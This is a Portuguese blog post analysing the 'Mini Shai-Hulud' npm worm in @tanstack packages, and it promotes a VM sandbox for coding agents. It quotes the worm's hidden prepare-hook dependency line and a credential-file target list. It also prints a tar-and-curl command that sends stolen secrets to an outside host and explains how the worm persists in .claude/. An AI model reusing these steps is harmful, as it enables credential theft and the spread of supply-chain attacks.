Voltar para todas as publicações
Publicado em · por Renaud Deraison

O worm que se escreve em .claude

Em 11 de maio de 2026, um worm do npm chamado Mini Shai-Hulud adicionou uma linha optionalDependencies a 42 pacotes no namespace @tanstack. Instalar qualquer um deles executou um script Bun que capturou um token OIDC do ambiente GitHub Actions, usou-o para publicar mais versões comprometidas com proveniência SLSA válida, copiou-se em .claude/ para a próxima vez que o agente de codificação iniciasse, e exfiltrou tudo de ~/.aws até sua carteira crypto. Os pacotes estavam assinados. A atestação era válida. Aqui está como a cadeia se parece, e o que muda quando o agente que executou a instalação vive dentro de uma VM Bromure por tarefa.

Em 11 de maio de 2026, entre aproximadamente 19:20 e 19:26 UTC, alguém empurrou oitenta e quatro artefatos maliciosos através de quarenta e dois pacotes @tanstack — incluindo @tanstack/react-router, a biblioteca de roteamento que doze milhões de linhas npm install baixam toda semana. Os pacotes foram assinados pelo pipeline de release real do TanStack, carregando proveniência SLSA válida, porque o worm não roubou um token de publicação. Ele sequestrou o runner GitHub Actions do TanStack no meio do build. E antes de sair, em cada máquina que instalou uma das versões ruins, ele escreveu uma cópia de persistência de si mesmo em .claude/.

Há um tipo de ataque de cadeia de suprimentos que é documentado porque alguém roubou a senha de um mantenedor. Este não é um desses. A versão do Mini Shai-Hulud que Aikido, Socket, Wiz, e Snyk todos pegaram na segunda-feira à noite não precisava de uma senha. Precisava que um desenvolvedor em algum lugar digitasse npm install em um projeto que dependesse, transitivamente, de @tanstack/react-router. O resto — incluindo a parte onde a CI do próprio TanStack cunhou a assinatura no release malicioso — foi automático.

A mecânica importa, porque a mecânica é o que torna este ataque uma questão sobre ao que o agente de codificação no seu laptop tem as chaves, em vez de uma questão sobre npm. Então vamos percorrer a cadeia.

A linha de JSON.

O primeiro build malicioso do @tanstack/react-router, versão 1.169.5, continha um package.json com exatamente isto:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Uma URL Git, não um pacote npm. Um commit fixado, não um range de versões. O package.json desse commit, por sua vez, continha:

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

Quando o npm instala uma dependência Git, ele executa o script prepare da dependência. Isso não é um bug; é o contrato documentado, porque dependências Git são geralmente código fonte, e código fonte geralmente precisa de um build. O && exit 1 é a parte inteligente: faz a dependência opcional falhar ao instalar, o que significa que o npm não a registra em package-lock.json, o que significa que uma vítima auditando o lockfile um dia depois não vê nada de errado. O payload rodou. O lockfile está limpo.

O runtime, a propósito, é Bun. Não Node. npm instalará Bun para você sob demanda, então o worm nem precisa trazer o seu próprio. Não há nada de errado com Bun — é um runtime JavaScript perfeitamente razoável — mas sua presença dá ao código ofuscado uma toolchain ligeiramente menos lotada para se esconder, e isso é, no momento, o que o atacante quer.

O que o runner faz uma vez que está rodando.

Três arquivos. Cada um é independentemente ruim.

router_init.js é o ladrão de credenciais. Ele percorre o disco procurando pelos suspeitos usuais — ~/.aws/credentials, ~/.npmrc, ~/.docker/config.json, ~/.config/gh/hosts.yml, ~/.kube/config, ~/.ssh/*, e qualquer dotfile cujo nome contenha a palavra token — mais a lista que distingue este ataque dos incidentes de cadeia de suprimentos de 2022: os cofres em disco de carteiras de extensões de navegador (MetaMask, Phantom, Keplr), os arquivos de sessão locais do Cursor e Windsurf, o próprio token do agente sentado no ambiente do processo pai, e quaisquer arquivos de configuração de servidor MCP na árvore do projeto. O que encontrar, ele compacta em tar, criptografa, e envia para filev2.getsession.org/file/, um ponto de entrega controlado pelo atacante hospedado atrás de um serviço de compartilhamento de arquivos por outros meios legítimo para que a saída pareça um curl para um CDN.

tanstack_runner.js é o propagador. Uma vez que roubou o token npm da vítima, ele enumera os pacotes que esse token pode publicar, reempacota cada tarball com a linha optionalDependencies maliciosa emendada no package.json, aumenta a versão, e republica. Esta é a parte que torna o Mini Shai-Hulud um worm em vez de um único pacote ruim: cada mantenedor que instala uma dependência comprometida potencialmente se torna o próximo atacante.

router_runtime.js é a cópia de persistência. A análise do Socket nota que o runner escreve uma cópia de si mesmo no subdiretório .claude/ de qualquer projeto em que esteja sentado, porque .claude/ é o diretório que o Claude Code lê na inicialização para configurações de escopo de projeto, comandos slash, e configurações de ferramentas. Na próxima vez que o desenvolvedor abrir esse repo no Claude Code — ou pior, na próxima vez que seu agente de codificação autonomamente abrir o repo em uma máquina recém-clonada — o arquivo de persistência já está na árvore de trabalho do agente. O worm é paciente.

O truque OIDC: como um pacote malicioso obteve proveniência SLSA válida.

Aqui está a parte que deveria manter acordado de noite qualquer um executando um pipeline de release. O @tanstack/[email protected] comprometido chegou ao npm com proveniência SLSA válida. O Sigstore o assinou. A API de atestação do GitHub o abençoou. Se você tivesse programado uma verificação que dissesse "instalar apenas pacotes com proveniência", você teria instalado mesmo assim.

A razão é mecânica. A proveniência SLSA não diz "este código é seguro." Ela diz "este artefato foi construído pelo workflow cuja identidade OIDC o assinou." Para que isso seja um sinal de segurança, o workflow em si tem que estar não comprometido. Neste caso o workflow era o workflow de release real do TanStack — mas um passo anterior no mesmo job executou uma dependência cujo próprio script de instalação (aqui, o script prepare de um pacote malicioso que a árvore de dependências do próprio TanStack já continha uma versão injetada pelo worm) havia executado dentro do runner. O runner é uma árvore de processos. O runner tem a variável de ambiente ACTIONS_ID_TOKEN_REQUEST_TOKEN e a URL ACTIONS_ID_TOKEN_REQUEST_URL, que é como workflows legítimos cunham tokens OIDC de curta duração. O mesmo vale para qualquer outra coisa que rode nessa árvore de processos. O worm chamou o mesmo endpoint, obteve um token com escopo para o repositório do TanStack, usou-o para publicar, e o Sigstore assinou o resultado porque, da perspectiva do Sigstore, o TanStack publicou. A análise do Socket é direta sobre isso: "Não confie apenas em badges de proveniência Sigstore como sinal de segurança."

Esta é a mesma lição dos incidentes LiteLLM e Bitwarden CLI sobre os quais escrevemos há duas semanas, reformulada em um registro que pensou ter trancado a porta da frente. O lockfile não é uma defesa se o payload está no prepare. A assinatura não é uma defesa se o runner do assinante é o payload.

Como a cadeia se parece de ponta a ponta.

LAPTOP DESENVOLVEDOR — sistema de arquivos host visível para o que o agente executarAGENTE DE CODIFICAÇÃO$ claude> adicionar router ao apptool: bashnpm i @tanstack/react-router↳ optionalDep falha (bom!)↳ prepare rodou mesmo assimREGISTRO npm@tanstack/react-router 1.169.5 assinatura: VÁLIDA proveniência SLSA: okoptionalDependencies: github:tanstack/routerprepare → bun run tanstack_runner.jsrouter_init.js→ varrer segredos do hosttanstack_runner.js→ republicar usando token npmrouter_runtime.js→ copiar em .claude/lê: ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, cofre MetaMask, sessões cursor/windsurfSISTEMA DE ARQUIVOS HOST — tudo real, tudo legível pelo script prepare~/.aws/credentialsAKIA… real~/.npmrc_authToken (republicar aqui)$GH_TOKEN, ~/.config/gh/hosts.ymlghp_… real~/.ssh/id_ed25519chave privada no disco~/Library/.../MetaMask/vault.json — criptografado, exfiltrado, força bruta~/Library/.../Cursor/estado workspace, tokens agentePERSISTÊNCIA./project/.claude/ router_runtime.jscarregado próxima vez que o agenteabrir este repotambém: ./node_modules/.bin/*também: ~/.bashrc tailEXFILTRAÇÃOtar | aes-256 | curl -X POST https://filev2.getsession.org/file/parece um upload comum para um host de compartilhamento de arquivos. firewall de saída vê uma requisição com forma de CDN.
A cadeia em uma máquina de desenvolvedor onde o agente de codificação executa npm install diretamente. O lockfile está limpo porque a dependência maliciosa falha de propósito. O script prepare de uma URL Git busca três scripts Bun ofuscados que (a) varrem ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, cofres de carteiras de extensões de navegador, e arquivos de sessão Cursor/Windsurf; (b) usam o token npm roubado para republicar mais pacotes comprometidos; (c) escrevem uma cópia de persistência em .claude/ para que a próxima sessão do agente a carregue. O POST de exfiltração vai para filev2.getsession.org. Sem 0-day, sem escalação; o agente instala o pacote que o agente deveria instalar.

A imagem tem duas propriedades que valem a pena considerar, porque são as propriedades que decidem quais mitigações funcionam e quais não.

A primeira é que cada arquivo que o worm lê é um arquivo que o usuário colocou lá para o usuário. Ninguém escolheu dar a uma biblioteca de roteamento acesso a ~/.aws/credentials. A razão pela qual ela tem acesso é que o shell que executou npm install tem acesso, porque o desenvolvedor que estava sentado na frente desse shell tem acesso, e é assim que o Unix funciona. O agente é, mecanicamente, uma extensão das mãos do desenvolvedor. Ele herda o alcance do desenvolvedor.

A segunda é que o passo destrutivo não é o roubo de credenciais. É a escrita de persistência em .claude/. Um roubo puro de credenciais é uma arma de um tiro — gire as chaves e você terminou. Um arquivo de persistência dentro do diretório de configuração de escopo de projeto do agente significa que a próxima sessão de codificação, em uma máquina recém-clonada, com um desenvolvedor diferente, executa o worm novamente, com as chaves desse desenvolvedor, na máquina desse desenvolvedor. O raio de explosão não é um laptop. É a equipe.

A mesma cadeia dentro do Bromure Agentic Coding.

Bromure Agentic Coding é a configuração na qual o agente de codificação — Claude Code, o CLI do Cursor, o CLI do Codex, Aider, o que você preferir — roda dentro de uma VM Bromure por tarefa, com a pasta do projeto montada dentro, e nada mais. A VM é o mesmo convidado Linux descartável que uma aba do navegador Bromure usa; o agente apenas vive nela pela duração de uma tarefa em vez da duração de um carregamento de página.

Aqui está o que isso faz com a cadeia acima, arquivo por arquivo.

VM BROMURE — convidado descartável onde o agente de codificação rodaAGENTE DE CODIFICAÇÃO (na VM)$ claude> adicionar router ao apptool: bashnpm i @tanstack/react-router↳ prepare roda↳ dentro do convidadoSISTEMA DE ARQUIVOS CONVIDADO — stubs e ausências~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519Arquivo ou diretório não encontradoCofres MetaMask, Phantom, Keplrnão instalados no convidadoArquivos de sessão Cursor/Windsurfnão no discoPERSISTÊNCIA./project/.claude/ router_runtime.jsescrito, mas.claude/ está nodisco CoW do convidado→ destruído no resetHIPERVISOR — intermediário de credenciais + proxy de saídaHOST macOS — segredos reais, nunca cruzou a fronteiraCOFRE DE CREDENCIAIS REALKeychain macOSid_ed25519 (privada)~/.aws/credentialsAKIA… (real)~/.config/gh/hosts.ymlghp_real…~/.npmrcnpm_… (publicação real)~/Library/.../MetaMask/vault.json (real)~/Library/.../Cursor/sessões agente, tokens~/.bashrc, ~/.zshrcsem persistência adicionadaPROXY SAÍDA — observável, lista brancagit push → api.github.com stub ghp_… ⇒ real ghp_… (na lista branca)npm publish → registry.npmjs.org token npm stub não existe no host ⇒ publish 401 UnauthorizedPOST filev2.getsession.org não na lista branca ⇒ bloqueado, logado no trace sessãoA tentativa de exfiltração é visível para o proxy. O trace da sessão a registra. A VM vai embora.
O mesmo npm install, o mesmo script prepare, os mesmos três runners Bun, dentro de uma VM Bromure por tarefa. router_init.js varre um sistema de arquivos convidado que contém stubs (ou, mais frequentemente, nada) onde o host tinha chaves reais. tanstack_runner.js encontra um token npm stub e não pode publicar nada. router_runtime.js escreve uma cópia de persistência em um diretório .claude/ que vive dentro de um disco descartável que vai ser deletado no fim da tarefa. O POST de exfiltração sai — a saída é intermediada, então esta tentativa é observável e bloqueável, mas mesmo se for bem-sucedida carrega stubs.

Mapeando os passos do worm para onde eles morrem.

Percorrer os três arquivos do runner contra as fronteiras do Bromure, um por um, é a parte onde isso para de ser um slogan e começa a ser uma checklist.

router_init.js alcança as chaves.

O runner lê ~/.aws/credentials, ~/.npmrc, $GH_TOKEN, ~/.config/gh/hosts.yml, ~/.kube/config, ~/.docker/config.json, e ~/.ssh/id_ed25519. Dentro da VM Bromure, os primeiros quatro são stubs — arquivos de credenciais sintaticamente válidos contendo strings que não significam nada na internet pública. O kubeconfig também é um stub (ou ausente, se você não configurou um cluster Kubernetes para esta tarefa). A configuração Docker é um stub. A chave privada SSH não está no disco; a VM tem um socket ssh-agent encaminhado cujo material de chave vive no Keychain macOS do lado host do hipervisor. O cat ~/.ssh/id_ed25519 do runner retorna Arquivo ou diretório não encontrado e o runner continua.

E quanto ao MetaMask, Phantom, e Keplr? Essas são extensões de navegador. O Bromure não instala extensões Chrome em seu navegador de jeito nenhum — não de forma "curada" ou "sandboxed", simplesmente não instala — e a VM por tarefa que roda seu agente de codificação também não tem uma carteira desktop sentada em seu sistema de arquivos. Os cofres de carteira que o runner está procurando vivem no seu host, no seu perfil de navegador real, do outro lado de uma fronteira Linux/macOS que o runner não pode alcançar.

Os arquivos de sessão do Cursor e Windsurf são um caso intermediário interessante. Se você está rodando seu agente de codificação dentro de uma sessão agêntica Bromure, então "o arquivo de sessão do Cursor" é o arquivo dentro desta VM — que é uma VM fresca cuja única identidade de agente logada é aquela que você acabou de provisionar para esta tarefa, com escopo para este repo, válida para esta tarefa. O runner vai exfiltrar esse token. O token é bom para uma tarefa em um repo. Quando a tarefa termina, o token é rotacionado. O raio de explosão é o que o agente já tinha permissão para fazer, que não é nada — veja abaixo — mas está longe de "o atacante agora tem toda a minha assinatura de AI."

tanstack_runner.js tenta republicar.

A razão de ser inteira do propagador é usar o token npm da vítima para publicar mais pacotes comprometidos. Dentro da VM, o token npm em ~/.npmrc é um stub. O proxy de saída no host conhece api.github.com e registry.npmjs.org para o repo real em que o usuário está trabalhando atualmente, mas não encaminha cegamente requisições de publicação contra pacotes arbitrários não relacionados com o token npm real do host. (Se você não tem intenção de publicar desta tarefa, a lista branca do proxy não inclui npm de jeito nenhum.) A tentativa de publicação retorna 401 Unauthorized, e o loop de propagação do worm morre no fio.

Esta é a diferença entre um intermediário de credenciais e um bind mount. Um contêiner que monta ~/.npmrc em si mesmo dá ao runner o token de publicação real. Uma VM que tem um stub ~/.npmrc e um proxy do lado host que conhece a diferença entre "o agente está empurrando para seu próprio repo de trabalho" e "algum script está republicando quarenta outros pacotes dos quais nunca ouvi falar" dá ao runner um 401. Mesma entrada. Topologia diferente.

router_runtime.js se escreve em .claude.

O arquivo de persistência é o movimento que converte um incidente de uma aba em uma pandemia de múltiplas abas, e é o movimento ao qual o modelo de disco descartável do Bromure Agentic Coding é estruturalmente alérgico.

.claude/ vive dentro da árvore do projeto, que em uma sessão de agente Bromure é montada na VM no início da tarefa. Então o worm escreve com sucesso router_runtime.js em ./project/.claude/. Esse arquivo agora é parte da árvore de trabalho do seu repo. Ele também está, dependendo das configurações da sua tarefa, ou (a) dentro do disco CoW descartável da VM e prestes a ser deletado no final da sessão, ou (b) do lado host do mount e prestes a aparecer no git status. No caso (a) a persistência se vai. No caso (b) a persistência está sentada na frente do desenvolvedor com um diff vermelho ao lado.

O caso que ninguém quer é o silencioso: o worm roda no laptop, escreve .claude/router_runtime.js, o arquivo é npm ignored por alguma configuração herdada, e a persistência fica lá se carregando em toda futura sessão Claude Code nesse repo porque ninguém nunca olhou. Esse é o caso que o Bromure remove por padrão — porque ou o disco vai embora, ou o arquivo está no diff visível.

Por que um contêiner não te leva aqui.

A mesma objeção se aplica como no writeup do Bitwarden CLI: você pode colocar um agente de codificação dentro de um contêiner, e para muitas tarefas do dia a dia isso é genuinamente uma melhoria sobre rodá-lo no host. Mas a fronteira não é onde o worm se importa.

Para tornar um contêiner útil para as coisas que um agente de codificação faz — para deixá-lo fazer git push, gh pr create, npm install de um registro privado, empurrar imagens — você acaba montando ~/.ssh, ~/.npmrc, e o token GitHub no contêiner. O script prepare faz cat ~/.ssh/id_ed25519 e obtém o arquivo real. Um bind mount é exatamente a barriga mole que o worm estava procurando, e não para de ser uma barriga mole porque o Docker está envolvido.

As carteiras de extensões de navegador importam pela mesma razão. Uma vez que um contêiner está configurado para ser útil para "raspar o site de docs para que eu possa resumir" ou "abrir uma visualização localhost" — tarefas agênticas comuns — seu acesso ao perfil de navegador real do host se torna a questão. A VM por tarefa do Bromure não tem seu perfil de navegador dentro. Não tem sua carteira dentro. Não tem seu equivalente LastPass dentro. O agente fala com um Chromium fresco, sem marca, no convidado, que é, intencionalmente, o navegador principal de ninguém.

Onde isso não te salva.

Dois lugares, e ambos merecem ser nomeados para que não sejam surpresas.

O agente ainda pode enviar código ruim.

Nada sobre uma VM por tarefa impede um agente de ser persuadido, por um README envenenado ou um servidor MCP retornando instruções de aparência útil, a fazer commit de uma backdoor em seu código e empurrá-la. A fronteira protege credenciais em sua máquina. Não revisa o diff. Leia o diff. O trace da sessão torna mais fácil saber quais diffs ler.

A lista branca de saída é todo o jogo.

Se sua tarefa coloca na lista branca npm publish para seu próprio escopo porque você está publicando hoje, e você por acaso instala um worm hoje, o worm vai publicar sob seu escopo. A intermediação funciona porque a lista branca é estreita. Torne-a estreita de propósito. Uma tarefa que não precisa publicar não deveria poder publicar.

A área de transferência ainda é compartilhada por padrão.

O Bromure vem com compartilhamento de área de transferência entre host e convidado habilitado, porque colar uma mensagem de erro em um chat é algo que humanos precisam fazer. Se você está fazendo algo sensível dentro de uma tarefa, isole a área de transferência para essa VM. O controle está lá. Simplesmente não é o padrão.

O trace é seu log de auditoria, não seu IDS.

O trace da sessão captura cada comando shell, escrita de arquivo, e requisição de saída. Não classifica filev2.getsession.org como ruim por si só. Captura que a requisição foi feita, para que quando alguém publicar um writeup como o da Aikido amanhã de manhã, seu grep leve dois segundos.

Uma última coisa.

Há uma versão desta história onde a resposta é "audite seu lockfile." O lockfile estava limpo. Há uma versão onde a resposta é "instale apenas pacotes com proveniência." A proveniência era válida. Há uma versão onde a resposta é "use um contêiner." O contêiner tem um bind mount.

A versão que realmente resiste a um worm cujo payload roda antes de o lockfile ser escrito e dentro da CI do próprio publisher é a versão onde o agente que está digitando está sentado dentro de uma VM Linux descartável cujo proxy do lado host mantém as chaves reais. O contrato do registro npm não muda. O hook prepare ainda roda. O Bun ainda inicializa. router_init.js ainda faz sua varredura. Ele apenas varre um convidado cujos segredos não são os segredos do usuário, e o disco descartável no qual tenta persistir vai embora antes do próximo café.

Bromure Agentic Coding é a configuração onde isso é o padrão. É gratuito, open-source, e disponibilizado hoje. O próximo worm já está sendo enviado.